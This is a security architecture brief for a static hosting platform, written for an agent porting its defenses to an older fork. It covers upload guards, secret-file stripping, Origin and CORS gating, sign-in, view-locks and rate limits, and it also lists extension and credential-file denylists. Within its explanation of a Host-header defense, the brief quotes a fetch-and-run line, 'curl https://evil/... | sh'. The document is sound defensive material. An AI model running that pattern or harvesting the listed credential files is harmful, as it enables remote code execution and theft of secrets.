Architecture · security brief

Every guardrail,
and why it exists.

This documents the complete security surface of Simple Host — the upload validation, the trust boundaries, the backend defenses — extracted directly from source. It is written for an agent hardening an older fork to match this build: exact values, the reasoning behind each guard, and a prioritized porting checklist.

Agent-readable, no HTML to scrape → /architecture.txt Machine specs on the live platform → /openapi.json /llms.txt
00.

The one invariant everything serves

One Go binary + one Postgres + one directory on disk, behind a TLS-terminating nginx fronting every *.simple-host.app subdomain. No CDN, no per-site processes, no object store, no build pipeline. ~1 CPU / ~1 GB RAM.

Core safety invariant

User uploads are data, never code. There is no interpreter, no SSR runtime, no plugin loader, no per-site process. A file is written to disk and later returned as bytes with a content type — a hostile upload has no more power than an email attachment sitting in a folder.

Every guardrail below keeps that invariant true (nothing executes server-side) or bounds abuse of the few dynamic surfaces that do exist — per-site state, collections, and AI generate.

01.

Threat model — who is trusted with what

IDSurfaceGate
T1Deploy & managePer-user API key (32 random bytes, hex). Authenticates the owner of every upload, rollback, delete.
T2AdminSingle ADMIN_API_KEY in the root-owned /etc/simple-host.env — never in code, config, or repo. No default in source.
T3ViewingPublic by default; any site can be view-locked with a password (signed cookie gates page + data).
T4State / collectionsOrigin-checked only. Attribution-grade, not auth-grade — a browser can't forge it cross-site, but curl can. Never store secrets.
T5Create with AISign-in-gated + rate-limited per user and IP. Runs off-box; no model creds on any served page.
T6DB & secretsPostgres creds + keys in the root-owned env file, read at boot by the non-root service user. Unreachable from any served page.

Sites are public on the internet. The protection is not secrecy — it's that uploads are static, owned, versioned, and revertible.

02.

Upload pipeline & guardrails

Two deploy paths share one validation core, on purpose, so guards can't drift: the archive path (POST/PUT /v1/sites/{name}, a .tar.gz/.zip) runs tarball.Extract(); the JSON path (.../files) runs tarball.SanitizeFiles() — documented as using "the SAME guards as archive extraction … with no parallel logic to drift." Both then run ValidateExtensions() and storage.WriteFiles(). Request bodies are capped before parsing: uploads 100 MB, state 1 MB, collection item 64 KB.

2.1 · Path-traversal defense port first

safeRelPath() is the extraction guard; WriteFiles() re-checks independently — the traversal check lives in two places. A path is rejected unless it is non-empty and ≤1024 chars, has no byte <0x20 (control/NUL/newline), is not absolute, and after filepath.Clean is not ./.., has no ../ prefix or /../ inside, with depth ≤32. In the archive path an unsafe entry is skipped; in the JSON path it's a hard error (the caller typed it). Two keys normalizing to one path → hard error, never silent clobber.

2.2 · Size & count caps

Per-file 100 MB, total 500 MB, and 50,000 entries per archive. The entry cap defends against many-tiny-files inode exhaustion, "which the byte caps do not catch."

2.3 · Decompression-bomb defense port first

Limits are enforced on bytes actually read, never on any self-declared size. readCapped reads min(maxFileSize, remaining budget) + 1 byte; if that extra byte appears, the entry is over budget and the upload dies.

// Bound by bytes ACTUALLY read, never the zip's self-declared // UncompressedSize64 (attacker-controlled — a decompression-bomb vector).

2.4 · No symlinks, no special files port first

Only regular files are extracted. tar: only TypeReg/TypeRegA — symlinks, hardlinks, device nodes, FIFOs are refused "rather than silently coerced into empty files." zip: only Mode().IsRegular(), which "crucially" skips symlink entries. This kills symlink-escape at extraction time and is the single highest-value guard for an older fork.

2.5 · Secret-file stripping

Credential/VCS files are silently dropped (like .DS_Store) so a deploy that includes one still succeeds minus the secret: dirs .git .hg .svn .bzr .ssh; basenames .htpasswd .htaccess .npmrc .netrc id_rsa id_ed25519 .git-credentials .env; any .env.* except .example/.sample/.template. Junk .DS_Store and ._* dropped too.

2.6 · Extension denylist — not a safety control

Blocks .sh .bash .zsh .fish .bat .cmd .ps1 .py .pyc .rb .pl .go .php. Read the intent before you lean on it:

// Static serving means nothing executes server-side; downloaded binaries run on // the visitor's machine, which is downstream of our scope. Source-script // extensions stay blocked only as a guardrail against accidental ... deploys. // They're inert on the server, so it's a friendliness check, not a safety control.

2.7 · Integrity check

Optional X-Content-Digest (SHA-256 of raw archive) is recomputed and compared with subtle.ConstantTimeCompare. Every version records archive_sha256.

2.8 · Atomic, versioned write-to-disk

Layout <DATA_DIR>/<site>/v1…vN + a live current. Each upload is a new immutable append-only version, built into .vN.tmp then os.Renamed in. UpdateCurrent copies into .current.tmp then remove+rename, so the window where current is absent is two fast metadata ops, not the copy duration — the old version serves until the swap. WriteFiles independently re-validates every path (the second traversal check). Rollback repoints the active version; per-version delete isn't exposed; whole-site delete hard-validates the name before RemoveAll.

03.

Site identity & isolation

The site name is load-bearing: it becomes a subdomain, an on-disk directory, and a line in the cortex-share deploy queue. So it's tightly bound.

04.

The little backend & the Origin gate

Two dynamic stores, both public-by-design, both gated identically (Origin + view-lock + rate limit), both on the single Postgres.

The Origin gate — authorizeStateOrigin() port exactly

Trust model — quoted from source

Site state is public per-site scratch storage; the only gate is the Origin/Referer check, "which a real browser cannot forge across sites but a non-browser client (curl) can … NO confidentiality or integrity guarantee — do not store secrets in it, and don't trust it for security decisions."

Mechanics: expected origin is <site>.<SITE_DOMAIN>; read Origin, else derive scheme+host from Referer, else deny. The parsed host must equal the expected origin or be in the owner's allowed_origins. On allow it echoes the specific origin (never *) plus Allow-Credentials: true (so a view-lock cookie rides along), Expose-Headers: ETag, Vary: Origin. Owners add external origins ("backend anywhere", e.g. GitHub Pages) via PUT /allowed-origins — each must be scheme://host with no path.

CORS split — don't miss this

The global permissive * CORS middleware deliberately excludes any path ending in /state or containing /collections/, because those run this stricter credentialed policy and must not be double-handled.

05.

Authentication & authorization

API keys

32 bytes from crypto/rand → 64-char hex. Header is X-API-Key only; a missing key returns a 401 that explicitly redirects Authorization: Bearer users (a common LLM mistake). The admin key is matched with subtle.ConstantTimeCompare and yields a real admin user row (so admin can own sites — the old synthetic ID:"admin" violated the sites.user_id FK). Ownership resolves every route via the authenticated user; a non-owner gets 404 (existence not leaked).

Magic-link / code sign-in — no passwords

POST /v1/auth validates the email, rate-limits per-IP and per-email, and stores a 6-digit code + link token with a 15-min TTL and attempts=0. The user row is not created here:

// created lazily on successful verification ... identical work for every email — // no DB-write side effect and no timing difference between known and unknown // addresses — so it can't be used to enumerate registered users.

POST /v1/auth/verify rejects expired or attempts ≥ 3 tokens, compares the code constant-time (mismatch increments attempts → 401), then lazily creates the user (race-safe), mints the key, and marks the token single-use.

06.

View-locks — private sites

PUT /view-password (owner) stores a bcrypt hash in DB + an in-memory cache. nginx calls viewAuth as an auth_request on every page view: an unlocked site is a pure memory lookup (no DB, no bcrypt) → 200; a locked site with no/bad cookie → 401 → the custom password page (no WWW-Authenticate, so no native dialog). On a correct password, an HMAC-signed shview_<site> cookie is set — bcrypt never runs again; later checks are constant-time hmac.Equal. TTL 7 days; HttpOnly, Secure, SameSite=Lax, domain-wide so it reaches the apex state API.

Closing the "KV gap"

State and collections both call viewSessionOK, so locking a page also locks its data — a private page's state/collections are only reachable with a valid view cookie.

07.

Perimeter — CORS, headers, limits, RCE defense

Install-script Host-header RCE defense

/install.sh is piped into sh. Its download base URL is the configured PublicBaseURL, never the request Host: "reflecting an attacker-controlled Host header would let a crafted request produce a curl https://evil/skills.zip | sh (remote code execution on the victim)." Never reflect Host into a script that will be executed.

AreaBurstRefill
uploads30+0.1/s (~6/min)
state writes60+1/s
auth / IP20+0.2/s (~12/min)
auth / email5+0.02/s (~1.2/min)
generate / IP20+1 / 12s
generate / user30+1 / 10s
status poll240+4/s
08.

Create-with-AI sandbox

/v1/generate + /v1/generate/status are sign-in-gated and rate-limited per IP and per user. Preferred backend proxies each turn to a separate off-box agent server, authenticated with a shared secret (X-Agent-Secret) both sides must match, plus the user's key to bind the job. The agent runs with built-in file/shell tools disabled — only a scoped deploy_site tool — so a prompt-injected page can't run commands or exfiltrate keys. Work is a background job (returns a job id; client polls) so nothing waits out a proxy timeout. Fallback calls the Anthropic Messages API directly (default claude-haiku-4-5-20251001). Preview runs in a sandboxed, opaque-origin iframe; publish goes through the same authenticated files API. Caps: body 32 MB, ≤60 messages, ≤6000 chars each, HTML ≤200 KB, ≤6 attachments / ≤18 MB.

09.

Data model — security-relevant columns

usersid UUID, username UNIQUE, api_key UNIQUE (64-char hex, compared constant-time), is_admin
sitesuser_id FK→users ON DELETE CASCADE, name UNIQUE, active_version, expires_at (NULL = permanent), allowed_origins (comma-separated)
versionssite_id FK CASCADE, version_number, disk_path, status, archive_sha256, UNIQUE(site_id, version_number)
auth_tokensemail, code, link_token UNIQUE, expires_at, used_at, attempts — single-use, 15-min, 3-attempt

No migrations framework — schema applied by hand. Preview accounts (PREVIEW_ACCOUNTS) get sites with expires_at = now + PREVIEW_TTL_HOURS (default 48h); a background sweep deletes expired sites (row + disk).

10.

Porting checklist — what an older fork most likely lacks

Ordered by risk. The top items are the real safety controls; the lower ones are hardening.

  1. Symlink / special-file rejection at extraction (2.4). If your fork extracts non-regular entries, it is symlink-escape-able. highest
  2. Decompression-bomb defense (2.3): enforce on bytes-read, never declared size. Check both tar and zip.
  3. Path traversal in both places (2.1 + 2.8): safeRelPath at extract and an independent check in WriteFiles.
  4. Size / count caps (2.2): 100MB file, 500MB total, 50k entries (inodes), plus body MaxBytesReader caps.
  5. Origin gate on state/collections (4.3): Origin→Referer, echo specific origin with Allow-Credentials, and make the global * CORS exclude these paths.
  6. Secret-file stripping (2.5): drop .env/.git/id_rsa/… so uploads can't publish credentials.
  7. Constant-time comparisons: admin key, sign-in code, view cookie, digest.
  8. Magic-link hygiene (5): lazy user creation, 15-min single-use 3-attempt tokens, per-email + per-IP limits.
  9. View-lock also gates state/collections (6, the "KV gap"); bcrypt-once-then-HMAC-cookie.
  10. Deploy-queue newline injection (3.3) if you feed a root consumer; reserved names on create; DNS-label name shape.
  11. Generated-script URLs use a configured base URL, never a reflected Host header (7.4).
  12. AI generate: sign-in + dual rate limit, off-box agent with only deploy_site, shared secret, background job, sandboxed preview (8).
  13. Header hygiene: nosniff; don't duplicate proxy-set headers (7.2).
  14. Rate-limit table (7.3) and per-user site quota (3.4).
  15. Atomic version promote + current swap (2.8); append-only immutable versions; admin as a real user row, not a synthetic id (5.1).
11.

Exact constants

NameValueSource
maxSiteArchiveSize100 MBsite.go
maxSiteStateSize1 MBsite.go
maxSitesPerUser100site.go
maxStateOps100stateops.go
maxCollectionItemSize64 KBcollections.go
collection page50 / max 200collections.go
maxFileSize100 MBtarball/extract.go
maxTotalUncompressedSize500 MBtarball/extract.go
maxEntryCount50,000tarball/extract.go
maxPathDepth / maxPathLen32 / 1024tarball/extract.go
blockedExtensions.sh .bash .zsh .fish .bat .cmd .ps1 .py .pyc .rb .pl .go .phptarball/validate.go
validSiteName^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$sitename.go
authTokenTTL / maxCodeAttempts15 min / 3user.go
view cookie TTL7 daysviewauth.go
API key32 bytes → 64 hexauth/middleware.go

The exhaustive version — including every verbatim security comment — is the agent-readable companion: /architecture.txt.